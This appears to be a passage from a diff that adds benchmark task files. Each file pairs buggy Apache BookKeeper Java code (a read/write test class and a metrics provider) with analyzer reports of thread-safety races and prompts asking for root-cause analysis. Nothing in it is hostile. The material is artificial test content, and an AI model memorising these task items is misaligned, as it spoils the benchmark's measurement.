+                while (sync.counter < numEntriesToWrite) {
+                    LOG.debug("Entries counter = " + sync.counter);
+                    sync.wait();
+                }
+            }
+
+            LOG.debug("*** ASYNC WRITE COMPLETE ***");
+            // close ledger
+            lh.close();
+
+            // *** WRITING PART COMPLETED // READ PART BEGINS ***
+
+            // open ledger
+            lh = bkc.openLedger(ledgerId, digestType, ledgerPassword);
+            LOG.debug("Number of entries written: " + (lh.getLastAddConfirmed() + 1));
+            assertTrue("Verifying number of entries written", lh.getLastAddConfirmed() == (numEntriesToWrite - 1));
+
+            // read entries
+            ls = lh.readEntries(0, numEntriesToWrite - 1);
+
+            LOG.debug("*** SYNC READ COMPLETE ***");
+
+            // at this point, Enumeration<LedgerEntry> ls is filled with the returned
+            // values
+            int i = 0;
+            while (ls.hasMoreElements()) {
+                byte[] origEntryBytes = entries.get(i++);
+                byte[] retrEntryBytes = ls.nextElement().getEntry();
+
+                LOG.debug("Original byte entry size: " + origEntryBytes.length);
+                LOG.debug("Saved byte entry size: " + retrEntryBytes.length);
+
+                String origEntry = new String(origEntryBytes, charset);
+                String retrEntry = new String(retrEntryBytes, charset);
+
+                LOG.debug("Original entry: " + origEntry);
+                LOG.debug("Retrieved entry: " + retrEntry);
+
+                assertTrue("Checking entry " + i + " for equality", origEntry.equals(retrEntry));
+            }
+            assertTrue("Checking number of read entries", i == numEntriesToWrite);
+
+            lh.close();
+        } catch (BKException e) {
+            LOG.error("Test failed", e);
+            fail("Test failed due to BookKeeper exception");
+        } catch (InterruptedException e) {
+            LOG.error("Test failed", e);
+            fail("Test failed due to interruption");
+        }
+
+    }
+
+    @Test
+    public void testReadWriteSyncSingleClient() throws IOException {
+        try {
+            // Create a ledger
+            lh = bkc.createLedger(digestType, ledgerPassword);
+            // bkc.initMessageDigest("SHA1");
+            ledgerId = lh.getId();
+            LOG.info("Ledger ID: " + lh.getId());
+            for (int i = 0; i < numEntriesToWrite; i++) {
+                ByteBuffer entry = ByteBuffer.allocate(4);
+                entry.putInt(rng.nextInt(maxInt));
+                entry.position(0);
+                entries.add(entry.array());
+                lh.addEntry(entry.array());
+            }
+            lh.close();
+            lh = bkc.openLedger(ledgerId, digestType, ledgerPassword);
+            LOG.debug("Number of entries written: " + lh.getLastAddConfirmed());
+            assertTrue("Verifying number of entries written", lh.getLastAddConfirmed() == (numEntriesToWrite - 1));
+
+            ls = lh.readEntries(0, numEntriesToWrite - 1);
+            int i = 0;
+            while (ls.hasMoreElements()) {
+                ByteBuffer origbb = ByteBuffer.wrap(entries.get(i++));
+                Integer origEntry = origbb.getInt();
+                ByteBuffer result = ByteBuffer.wrap(ls.nextElement().getEntry());
+                LOG.debug("Length of result: " + result.capacity());
+                LOG.debug("Original entry: " + origEntry);
+
+                Integer retrEntry = result.getInt();
+                LOG.debug("Retrieved entry: " + retrEntry);
+                assertTrue("Checking entry " + i + " for equality", origEntry.equals(retrEntry));
+            }
+            lh.close();
+        } catch (BKException e) {
+            LOG.error("Test failed", e);
+            fail("Test failed due to BookKeeper exception");
+        } catch (InterruptedException e) {
+            LOG.error("Test failed", e);
+            fail("Test failed due to interruption");
+        }
+    }
+
+    @Test
+    public void testReadWriteZero() throws IOException {
+        try {
+            // Create a ledger
+            lh = bkc.createLedger(digestType, ledgerPassword);
+            // bkc.initMessageDigest("SHA1");
+            ledgerId = lh.getId();
+            LOG.info("Ledger ID: " + lh.getId());
+            for (int i = 0; i < numEntriesToWrite; i++) {
+                lh.addEntry(new byte[0]);
+            }
+
+            /*
+             * Write a non-zero entry
+             */
+            ByteBuffer entry = ByteBuffer.allocate(4);
+            entry.putInt(rng.nextInt(maxInt));
+            entry.position(0);
+            entries.add(entry.array());
+            lh.addEntry(entry.array());
+
+            lh.close();
+            lh = bkc.openLedger(ledgerId, digestType, ledgerPassword);
+            LOG.debug("Number of entries written: " + lh.getLastAddConfirmed());
+            assertTrue("Verifying number of entries written", lh.getLastAddConfirmed() == numEntriesToWrite);
+
+            ls = lh.readEntries(0, numEntriesToWrite - 1);
+            int i = 0;
+            while (ls.hasMoreElements()) {
+                ByteBuffer result = ByteBuffer.wrap(ls.nextElement().getEntry());
+                LOG.debug("Length of result: " + result.capacity());
+
+                assertTrue("Checking if entry " + i + " has zero bytes", result.capacity() == 0);
+            }
+            lh.close();
+        } catch (BKException e) {
+            LOG.error("Test failed", e);
+            fail("Test failed due to BookKeeper exception");
+        } catch (InterruptedException e) {
+            LOG.error("Test failed", e);
+            fail("Test failed due to interruption");
+        }
+    }
+
+    @Test
+    public void testMultiLedger() throws IOException {
+        try {
+            // Create a ledger
+            lh = bkc.createLedger(digestType, ledgerPassword);
+            lh2 = bkc.createLedger(digestType, ledgerPassword);
+
+            long ledgerId = lh.getId();
+            long ledgerId2 = lh2.getId();
+
+            // bkc.initMessageDigest("SHA1");
+            LOG.info("Ledger ID 1: " + lh.getId() + ", Ledger ID 2: " + lh2.getId());
+            for (int i = 0; i < numEntriesToWrite; i++) {
+                lh.addEntry(new byte[0]);
+                lh2.addEntry(new byte[0]);
+            }
+
+            lh.close();
+            lh2.close();
+
+            lh = bkc.openLedger(ledgerId, digestType, ledgerPassword);
+            lh2 = bkc.openLedger(ledgerId2, digestType, ledgerPassword);
+
+            LOG.debug("Number of entries written: " + lh.getLastAddConfirmed() + ", " + lh2.getLastAddConfirmed());
+            assertTrue("Verifying number of entries written lh (" + lh.getLastAddConfirmed() + ")", lh
+                       .getLastAddConfirmed() == (numEntriesToWrite - 1));
+            assertTrue("Verifying number of entries written lh2 (" + lh2.getLastAddConfirmed() + ")", lh2
+                       .getLastAddConfirmed() == (numEntriesToWrite - 1));
+
+            ls = lh.readEntries(0, numEntriesToWrite - 1);
+            int i = 0;
+            while (ls.hasMoreElements()) {
+                ByteBuffer result = ByteBuffer.wrap(ls.nextElement().getEntry());
+                LOG.debug("Length of result: " + result.capacity());
+
+                assertTrue("Checking if entry " + i + " has zero bytes", result.capacity() == 0);
+            }
+            lh.close();
+            ls = lh2.readEntries(0, numEntriesToWrite - 1);
+            i = 0;
+            while (ls.hasMoreElements()) {
+                ByteBuffer result = ByteBuffer.wrap(ls.nextElement().getEntry());
+                LOG.debug("Length of result: " + result.capacity());
+
+                assertTrue("Checking if entry " + i + " has zero bytes", result.capacity() == 0);
+            }
+            lh2.close();
+        } catch (BKException e) {
+            LOG.error("Test failed", e);
+            fail("Test failed due to BookKeeper exception");
+        } catch (InterruptedException e) {
+            LOG.error("Test failed", e);
+            fail("Test failed due to interruption");
+        }
+    }
+
+    @Test
+    public void testReadWriteAsyncLength() throws IOException {
+        try {
+            // Create a ledger
+            lh = bkc.createLedger(digestType, ledgerPassword);
+            // bkc.initMessageDigest("SHA1");
+            ledgerId = lh.getId();
+            LOG.info("Ledger ID: " + lh.getId());
+            for (int i = 0; i < numEntriesToWrite; i++) {
+                ByteBuffer entry = ByteBuffer.allocate(4);
+                entry.putInt(rng.nextInt(maxInt));
+                entry.position(0);
+
+                entries.add(entry.array());
+                entriesSize.add(entry.array().length);
+                lh.asyncAddEntry(entry.array(), this, sync);
+            }
+
+            // wait for all entries to be acknowledged
+            synchronized (sync) {
+                while (sync.counter < numEntriesToWrite) {
+                    LOG.debug("Entries counter = " + sync.counter);
+                    sync.wait();
+                }
+            }
+            long length = numEntriesToWrite * 4;
+            assertTrue("Ledger length before closing: " + lh.getLength(), lh.getLength() == length);
+
+            LOG.debug("*** WRITE COMPLETE ***");
+            // close ledger
+            lh.close();
+
+            // *** WRITING PART COMPLETE // READ PART BEGINS ***
+
+            // open ledger
+            lh = bkc.openLedger(ledgerId, digestType, ledgerPassword);
+            assertTrue("Ledger length after opening: " + lh.getLength(), lh.getLength() == length);
+
+
+            lh.close();
+        } catch (BKException e) {
+            LOG.error("Test failed", e);
+            fail("Test failed due to BookKeeper exception");
+        } catch (InterruptedException e) {
+            LOG.error("Test failed", e);
+            fail("Test failed due to interruption");
+        }
+    }
+
+    @Test
+    public void testReadFromOpenLedger() throws IOException {
+        try {
+            // Create a ledger
+            lh = bkc.createLedger(digestType, ledgerPassword);
+            // bkc.initMessageDigest("SHA1");
+            ledgerId = lh.getId();
+            LOG.info("Ledger ID: " + lh.getId());
+            for (int i = 0; i < numEntriesToWrite; i++) {
+                ByteBuffer entry = ByteBuffer.allocate(4);
+                entry.putInt(rng.nextInt(maxInt));
+                entry.position(0);
+
+                entries.add(entry.array());
+                entriesSize.add(entry.array().length);
+                lh.addEntry(entry.array());
+                if(i == numEntriesToWrite/2) {
+                    LedgerHandle lhOpen = bkc.openLedgerNoRecovery(ledgerId, digestType, ledgerPassword);
+                    // no recovery opened ledger 's last confirmed entry id is less than written
+                    // and it just can read until (i-1)
+                    int toRead = i - 1;
+                    Enumeration<LedgerEntry> readEntry = lhOpen.readEntries(toRead, toRead);
+                    assertTrue("Enumeration of ledger entries has no element", readEntry.hasMoreElements() == true);
+                    LedgerEntry e = readEntry.nextElement();
+                    assertEquals(toRead, e.getEntryId());
+                    Assert.assertArrayEquals(entries.get(toRead), e.getEntry());
+                    // should not written to a read only ledger
+                    try {
+                        lhOpen.addEntry(entry.array());
+                        fail("Should have thrown an exception here");
+                    } catch (BKException.BKIllegalOpException bkioe) {
+                        // this is the correct response
+                    } catch (Exception ex) {
+                        LOG.error("Unexpected exception", ex);
+                        fail("Unexpected exception");
+                    }
+                    // close read only ledger should not change metadata
+                    lhOpen.close();
+                }
+            }
+
+            long last = lh.readLastConfirmed();
+            assertTrue("Last confirmed add: " + last, last == (numEntriesToWrite - 2));
+
+            LOG.debug("*** WRITE COMPLETE ***");
+            // close ledger
+            lh.close();
+            /*
+             * Asynchronous call to read last confirmed entry
+             */
+            lh = bkc.createLedger(digestType, ledgerPassword);
+            // bkc.initMessageDigest("SHA1");
+            ledgerId = lh.getId();
+            LOG.info("Ledger ID: " + lh.getId());
+            for (int i = 0; i < numEntriesToWrite; i++) {
+                ByteBuffer entry = ByteBuffer.allocate(4);
+                entry.putInt(rng.nextInt(maxInt));
+                entry.position(0);
+
+                entries.add(entry.array());
+                entriesSize.add(entry.array().length);
+                lh.addEntry(entry.array());
+            }
+
+
+            SyncObj sync = new SyncObj();
+            lh.asyncReadLastConfirmed(this, sync);
+
+            // Wait for for last confirmed
+            synchronized (sync) {
+                while (sync.lastConfirmed == -1) {
+                    LOG.debug("Counter = " + sync.lastConfirmed);
+                    sync.wait();
+                }
+            }
+
+            assertTrue("Last confirmed add: " + sync.lastConfirmed, sync.lastConfirmed == (numEntriesToWrite - 2));
+
+            LOG.debug("*** WRITE COMPLETE ***");
+            // close ledger
+            lh.close();
+        } catch (BKException e) {
+            LOG.error("Test failed", e);
+            fail("Test failed due to BookKeeper exception");
+        } catch (InterruptedException e) {
+            LOG.error("Test failed", e);
+            fail("Test failed due to interruption");
+        }
+    }
+
+    @Test
+    public void testReadFromOpenLedgerOpenOnce() throws Exception {
+        try {
+            // Create a ledger
+            lh = bkc.createLedger(digestType, ledgerPassword);
+            // bkc.initMessageDigest("SHA1");
+            ledgerId = lh.getId();
+            LOG.info("Ledger ID: " + lh.getId());
+            LedgerHandle lhOpen = bkc.openLedgerNoRecovery(ledgerId, digestType, ledgerPassword);
+            for (int i = 0; i < numEntriesToWrite; i++) {
+                ByteBuffer entry = ByteBuffer.allocate(4);
+                entry.putInt(rng.nextInt(maxInt));
+                entry.position(0);
+
+                entries.add(entry.array());
+                entriesSize.add(entry.array().length);
+                lh.addEntry(entry.array());
+                if (i == numEntriesToWrite / 2) {
+                    // no recovery opened ledger 's last confirmed entry id is
+                    // less than written
+                    // and it just can read until (i-1)
+                    int toRead = i - 1;
+
+                    long readLastConfirmed = lhOpen.readLastConfirmed();
+                    assertTrue(readLastConfirmed != 0);
+                    Enumeration<LedgerEntry> readEntry = lhOpen.readEntries(toRead, toRead);
+                    assertTrue("Enumeration of ledger entries has no element", readEntry.hasMoreElements() == true);
+                    LedgerEntry e = readEntry.nextElement();
+                    assertEquals(toRead, e.getEntryId());
+                    Assert.assertArrayEquals(entries.get(toRead), e.getEntry());
+                    // should not written to a read only ledger
+                    try {
+                        lhOpen.addEntry(entry.array());
+                        fail("Should have thrown an exception here");
+                    } catch (BKException.BKIllegalOpException bkioe) {
+                        // this is the correct response
+                    } catch (Exception ex) {
+                        LOG.error("Unexpected exception", ex);
+                        fail("Unexpected exception");
+                    }
+
+                }
+            }
+            long last = lh.readLastConfirmed();
+            assertTrue("Last confirmed add: " + last, last == (numEntriesToWrite - 2));
+
+            LOG.debug("*** WRITE COMPLETE ***");
+            // close ledger
+            lh.close();
+            // close read only ledger should not change metadata
+            lhOpen.close();
+        } catch (BKException e) {
+            LOG.error("Test failed", e);
+            fail("Test failed due to BookKeeper exception");
+        } catch (InterruptedException e) {
+            LOG.error("Test failed", e);
+            fail("Test failed due to interruption");
+        }
+    }
+
+    @Test
+    public void testReadFromOpenLedgerZeroAndOne() throws Exception {
+        try {
+            // Create a ledger
+            lh = bkc.createLedger(digestType, ledgerPassword);
+            // bkc.initMessageDigest("SHA1");
+            ledgerId = lh.getId();
+            LOG.info("Ledger ID: " + lh.getId());
+            LedgerHandle lhOpen = bkc.openLedgerNoRecovery(ledgerId, digestType, ledgerPassword);
+
+            /*
+             * We haven't written anything, so it should be empty.
+             */
+            LOG.debug("Checking that it is empty");
+            long readLastConfirmed = lhOpen.readLastConfirmed();
+            assertTrue("Last confirmed has the wrong value",
+                       readLastConfirmed == LedgerHandle.INVALID_ENTRY_ID);
+
+            /*
+             * Writing one entry.
+             */
+            LOG.debug("Going to write one entry");
+            ByteBuffer entry = ByteBuffer.allocate(4);
+            entry.putInt(rng.nextInt(maxInt));
+            entry.position(0);
+
+            entries.add(entry.array());
+            entriesSize.add(entry.array().length);
+            lh.addEntry(entry.array());
+
+            /*
+             * The hint should still indicate that there is no confirmed
+             * add.
+             */
+            LOG.debug("Checking that it is still empty even after writing one entry");
+            readLastConfirmed = lhOpen.readLastConfirmed();
+            assertTrue(readLastConfirmed == LedgerHandle.INVALID_ENTRY_ID);
+
+            /*
+             * Adding one more, and this time we should expect to
+             * see one entry.
+             */
+            entry = ByteBuffer.allocate(4);
+            entry.putInt(rng.nextInt(maxInt));
+            entry.position(0);
+
+            entries.add(entry.array());
+            entriesSize.add(entry.array().length);
+            lh.addEntry(entry.array());
+
+            LOG.info("Checking that it has an entry");
+            readLastConfirmed = lhOpen.readLastConfirmed();
+            assertTrue(readLastConfirmed == 0L);
+
+            // close ledger
+            lh.close();
+            // close read only ledger should not change metadata
+            lhOpen.close();
+        } catch (BKException e) {
+            LOG.error("Test failed", e);
+            fail("Test failed due to BookKeeper exception");
+        } catch (InterruptedException e) {
+            LOG.error("Test failed", e);
+            fail("Test failed due to interruption");
+        }
+    }
+
+
+    @Test
+    public void testLastConfirmedAdd() throws IOException {
+        try {
+            // Create a ledger
+            lh = bkc.createLedger(digestType, ledgerPassword);
+            // bkc.initMessageDigest("SHA1");
+            ledgerId = lh.getId();
+            LOG.info("Ledger ID: " + lh.getId());
+            for (int i = 0; i < numEntriesToWrite; i++) {
+                ByteBuffer entry = ByteBuffer.allocate(4);
+                entry.putInt(rng.nextInt(maxInt));
+                entry.position(0);
+
+                entries.add(entry.array());
+                entriesSize.add(entry.array().length);
+                lh.addEntry(entry.array());
+            }
+
+            long last = lh.readLastConfirmed();
+            assertTrue("Last confirmed add: " + last, last == (numEntriesToWrite - 2));
+
+            LOG.debug("*** WRITE COMPLETE ***");
+            // close ledger
+            lh.close();
+            /*
+             * Asynchronous call to read last confirmed entry
+             */
+            lh = bkc.createLedger(digestType, ledgerPassword);
+            // bkc.initMessageDigest("SHA1");
+            ledgerId = lh.getId();
+            LOG.info("Ledger ID: " + lh.getId());
+            for (int i = 0; i < numEntriesToWrite; i++) {
+                ByteBuffer entry = ByteBuffer.allocate(4);
+                entry.putInt(rng.nextInt(maxInt));
+                entry.position(0);
+
+                entries.add(entry.array());
+                entriesSize.add(entry.array().length);
+                lh.addEntry(entry.array());
+            }
+
+
+            SyncObj sync = new SyncObj();
+            lh.asyncReadLastConfirmed(this, sync);
+
+            // Wait for for last confirmed
+            synchronized (sync) {
+                while (sync.lastConfirmed == LedgerHandle.INVALID_ENTRY_ID) {
+                    LOG.debug("Counter = " + sync.lastConfirmed);
+                    sync.wait();
+                }
+            }
+
+            assertTrue("Last confirmed add: " + sync.lastConfirmed, sync.lastConfirmed == (numEntriesToWrite - 2));
+
+            LOG.debug("*** WRITE COMPLETE ***");
+            // close ledger
+            lh.close();
+        } catch (BKException e) {
+            LOG.error("Test failed", e);
+            fail("Test failed due to BookKeeper exception");
+        } catch (InterruptedException e) {
+            LOG.error("Test failed", e);
+            fail("Test failed due to interruption");
+        }
+    }
+
+
+    @Override
+    public void addComplete(int rc, LedgerHandle lh, long entryId, Object ctx) {
+        if(rc != BKException.Code.OK) fail("Return code is not OK: " + rc);
+
+        SyncObj x = (SyncObj) ctx;
+
+        synchronized (x) {
+            x.counter++;
+            x.notify();
+        }
+    }
+
+    @Override
+    public void readComplete(int rc, LedgerHandle lh, Enumeration<LedgerEntry> seq, Object ctx) {
+        if(rc != BKException.Code.OK) fail("Return code is not OK: " + rc);
+
+        ls = seq;
+
+        synchronized (sync) {
+            sync.value = true;
+            sync.notify();
+        }
+    }
+
+    @Override
+    public void readLastConfirmedComplete(int rc, long lastConfirmed, Object ctx) {
+        SyncObj sync = (SyncObj) ctx;
+
+        synchronized(sync) {
+            sync.lastConfirmed = lastConfirmed;
+            sync.notify();
+        }
+    }
+
+    @Override
+    @Before
+    public void setUp() throws Exception {
+        super.setUp();
+        rng = new Random(System.currentTimeMillis()); // Initialize the Random
+        // Number Generator
+        entries = new ArrayList<byte[]>(); // initialize the entries list
+        entriesSize = new ArrayList<Integer>();
+        sync = new SyncObj(); // initialize the synchronization data structure
+
+    }
+
+    /* Clean up a directory recursively */
+    protected boolean cleanUpDir(File dir) {
+        if (dir.isDirectory()) {
+            LOG.info("Cleaning up " + dir.getName());
+            String[] children = dir.list();
+            for (String string : children) {
+                boolean success = cleanUpDir(new File(dir, string));
+                if (!success)
+                    return false;
+            }
+        }
+        // The directory is now empty so delete it
+        return dir.delete();
+    }
+
+    /* User for testing purposes, void */
+    class emptyWatcher implements Watcher {
+        @Override
+        public void process(WatchedEvent event) {
+        }
+    }
+
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+THREAD_SAFETY_VIOLATION
+
+### Qualifier:
+Read/Write race. Non-private method `org.apache.bookkeeper.test.BookieReadWriteTest.testMultiLedger` reads without synchronization from `this.org.apache.bookkeeper.test.BookieReadWriteTest.ls`. Potentially races with write in method `BookieReadWriteTest.testSyncReadAsyncWriteStringsSingleClient()`.
+ Reporting because another access to the same memory occurs on a background thread, although this access may not.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void BookieReadWriteTest.testMultiLedger()
+
+### Procedure Id:
+org.apache.bookkeeper.test.BookieReadWriteTest.testMultiLedger():void.aa595d12cc6aadb0c47f083c66314661
+
+### File:
+bookkeeper-server/src/test/java/org/apache/bookkeeper/test/BookieReadWriteTest.java
+
+### Key:
+BookieReadWriteTest.java|testMultiLedger|THREAD_SAFETY_VIOLATION
+
+### Node Key:
+9c5d6d9028928346cc4fb44cced5dea1
+
+### Hash:
+aeac84a48aaf191f75c26d6ddda717b5
+
+### Bug Type Hum:
+Thread Safety Violation
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-7119/instruction.md b/inferredbugs-7119/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..62d6919841d1108224fcb23d898df63db6735d41
--- /dev/null
+++ b/inferredbugs-7119/instruction.md
@@ -0,0 +1,202 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** bookkeeper
+**Bug ID:** 56
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/**
+ * Licensed to the Apache Software Foundation (ASF) under one or more
+ * contributor license agreements. See the NOTICE file distributed with this
+ * work for additional information regarding copyright ownership. The ASF
+ * licenses this file to you under the Apache License, Version 2.0 (the
+ * "License"); you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
+ * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
+ * License for the specific language governing permissions and limitations under
+ * the License.
+ */
+package org.apache.bookkeeper.stats;
+
+import java.net.InetSocketAddress;
+
+import com.codahale.metrics.CsvReporter;
+import com.codahale.metrics.MetricFilter;
+import com.codahale.metrics.MetricRegistry;
+import com.codahale.metrics.ScheduledReporter;
+import com.codahale.metrics.Slf4jReporter;
+import com.google.common.base.Strings;
+import com.google.common.net.HostAndPort;
+import static com.codahale.metrics.MetricRegistry.name;
+import com.codahale.metrics.graphite.Graphite;
+import com.codahale.metrics.graphite.GraphiteReporter;
+
+import com.codahale.metrics.jvm.GarbageCollectorMetricSet;
+import com.codahale.metrics.jvm.MemoryUsageGaugeSet;
+
+import org.apache.bookkeeper.stats.StatsLogger;
+import org.apache.bookkeeper.stats.StatsProvider;
+import org.apache.commons.configuration.Configuration;
+
+import java.util.List;
+import java.util.ArrayList;
+import java.util.concurrent.TimeUnit;
+
+import java.io.File;
+
+import org.slf4j.Logger;
+import org.slf4j.LoggerFactory;
+
+public class CodahaleMetricsProvider implements StatsProvider {
+
+    static final Logger LOG = LoggerFactory.getLogger(CodahaleMetricsProvider.class);
+
+    MetricRegistry metrics = null;
+    List<ScheduledReporter> reporters = new ArrayList<ScheduledReporter>();
+
+    synchronized void initIfNecessary() {
+        if (metrics == null) {
+            metrics = new MetricRegistry();
+            metrics.registerAll(new MemoryUsageGaugeSet());
+            metrics.registerAll(new GarbageCollectorMetricSet());
+        }
+    }
+
+    @Override
+    public void start(Configuration conf) {
+        initIfNecessary();
+
+        int metricsOutputFrequency = conf.getInt("codahaleStatsOutputFrequencySeconds", 60);
+        String prefix = conf.getString("codahaleStatsPrefix", "");
+        String graphiteHost = conf.getString("codahaleStatsGraphiteEndpoint");
+        String csvDir = conf.getString("codahaleStatsCSVEndpoint");
+        String slf4jCat = conf.getString("codahaleStatsSlf4jEndpoint");
+
+        if (!Strings.isNullOrEmpty(graphiteHost)) {
+            LOG.info("Configuring stats with graphite");
+            HostAndPort addr = HostAndPort.fromString(graphiteHost);
+            final Graphite graphite = new Graphite(
+                    new InetSocketAddress(addr.getHostText(), addr.getPort()));
+            reporters.add(GraphiteReporter.forRegistry(metrics)
+                          .prefixedWith(prefix)
+                          .convertRatesTo(TimeUnit.SECONDS)
+                          .convertDurationsTo(TimeUnit.MILLISECONDS)
+                          .filter(MetricFilter.ALL)
+                          .build(graphite));
+        }
+        if (!Strings.isNullOrEmpty(csvDir)) {
+            // NOTE: 1/ metrics output files are exclusive to a given process
+            // 2/ the output directory must exist
+            // 3/ if output files already exist they are not overwritten and there is no metrics output
+            File outdir;
+            if (Strings.isNullOrEmpty(prefix)) {
+                outdir = new File(csvDir, prefix);
+            } else {
+                outdir = new File(csvDir);
+            }
+            LOG.info("Configuring stats with csv output to directory [{}]", outdir.getAbsolutePath());
+            reporters.add(CsvReporter.forRegistry(metrics)
+                          .convertRatesTo(TimeUnit.SECONDS)
+                          .convertDurationsTo(TimeUnit.MILLISECONDS)
+                          .build(outdir));
+        }
+        if (!Strings.isNullOrEmpty(slf4jCat)) {
+            LOG.info("Configuring stats with slf4j");
+            reporters.add(Slf4jReporter.forRegistry(metrics)
+                          .outputTo(LoggerFactory.getLogger(slf4jCat))
+                          .convertRatesTo(TimeUnit.SECONDS)
+                          .convertDurationsTo(TimeUnit.MILLISECONDS)
+                          .build());
+        }
+        for (ScheduledReporter r : reporters) {
+            r.start(metricsOutputFrequency, TimeUnit.SECONDS);
+        }
+    }
+
+    @Override
+    public void stop() {
+        for (ScheduledReporter r : reporters) {
+            r.report();
+            r.stop();
+        }
+    }
+
+    @Override
+    public StatsLogger getStatsLogger(String name) {
+        initIfNecessary();
+        return new CodahaleStatsLogger(metrics, name);
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+THREAD_SAFETY_VIOLATION
+
+### Qualifier:
+Read/Write race. Non-private method `org.apache.bookkeeper.stats.CodahaleMetricsProvider.getStatsLogger` reads without synchronization from `this.org.apache.bookkeeper.stats.CodahaleMetricsProvider.metrics`. Potentially races with write in method `CodahaleMetricsProvider.initIfNecessary()`.
+ Reporting because another access to the same memory occurs on a background thread, although this access may not.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+StatsLogger CodahaleMetricsProvider.getStatsLogger(String)
+
+### Procedure Id:
+org.apache.bookkeeper.stats.CodahaleMetricsProvider.getStatsLogger(java.lang.String):org.apache.book.70acf931d610574751e0b62d633fb6ae
+
+### File:
+bookkeeper-stats-providers/codahale-metrics-provider/src/main/java/org/apache/bookkeeper/stats/CodahaleMetricsProvider.java
+
+### Key:
+CodahaleMetricsProvider.java|getStatsLogger|THREAD_SAFETY_VIOLATION
+
+### Node Key:
+9c5d6d9028928346cc4fb44cced5dea1
+
+### Hash:
+bf0ddea225cd73d06c33ad4ee6e9d4c7
+
+### Bug Type Hum:
+Thread Safety Violation
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-7120/instruction.md b/inferredbugs-7120/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..2a1bb901c24fe93cbdf2fc71e964bf0979165b1d
--- /dev/null
+++ b/inferredbugs-7120/instruction.md
@@ -0,0 +1,1113 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** bookkeeper
+**Bug ID:** 51
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package org.apache.bookkeeper.test;
+
+/*
+ *
+ * Licensed to the Apache Software Foundation (ASF) under one
+ * or more contributor license agreements.  See the NOTICE file
+ * distributed with this work for additional information
+ * regarding copyright ownership.  The ASF licenses this file
+ * to you under the Apache License, Version 2.0 (the
+ * "License"); you may not use this file except in compliance
+ * with the License.  You may obtain a copy of the License at
+ *
+ *   http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing,
+ * software distributed under the License is distributed on an
+ * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
+ * KIND, either express or implied.  See the License for the
+ * specific language governing permissions and limitations
+ * under the License.
+ *
+ */
+
+import java.io.File;
+import java.io.IOException;
+import java.lang.NoSuchFieldException;
+import java.lang.IllegalAccessException;
+import java.lang.reflect.Field;
+import java.nio.ByteBuffer;
+import java.nio.charset.Charset;
+import java.util.ArrayList;
+import java.util.Enumeration;
+import java.util.Random;
+import java.util.Set;
+import java.util.Arrays;
+import java.util.concurrent.Semaphore;
+import java.util.concurrent.atomic.AtomicInteger;
+
+import org.apache.bookkeeper.client.AsyncCallback.AddCallback;
+import org.apache.bookkeeper.client.AsyncCallback.ReadCallback;
+import org.apache.bookkeeper.client.AsyncCallback.ReadLastConfirmedCallback;
+import org.apache.bookkeeper.client.BKException;
+import org.apache.bookkeeper.client.BookKeeper;
+import org.apache.bookkeeper.client.LedgerEntry;
+import org.apache.bookkeeper.client.LedgerHandle;
+import org.apache.bookkeeper.client.BookKeeper.DigestType;
+import org.apache.bookkeeper.streaming.LedgerInputStream;
+import org.apache.bookkeeper.streaming.LedgerOutputStream;
+import org.slf4j.Logger;
+import org.slf4j.LoggerFactory;
+import org.apache.zookeeper.WatchedEvent;
+import org.apache.zookeeper.Watcher;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+/**
+ * This test tests read and write, synchronous and asynchronous, strings and
+ * integers for a BookKeeper client. The test deployment uses a ZooKeeper server
+ * and three BookKeepers.
+ *
+ */
+
+public class BookieReadWriteTest extends MultiLedgerManagerMultiDigestTestCase
+    implements AddCallback, ReadCallback, ReadLastConfirmedCallback {
+
+    // Depending on the taste, select the amount of logging
+    // by decommenting one of the two lines below
+    // static Logger LOG = Logger.getRootLogger();
+    static Logger LOG = LoggerFactory.getLogger(BookieReadWriteTest.class);
+
+    byte[] ledgerPassword = "aaa".getBytes();
+    LedgerHandle lh, lh2;
+    long ledgerId;
+
+    // test related variables
+    int numEntriesToWrite = 200;
+    int maxInt = 2147483647;
+    Random rng; // Random Number Generator
+    ArrayList<byte[]> entries; // generated entries
+    ArrayList<Integer> entriesSize;
+
+    DigestType digestType;
+
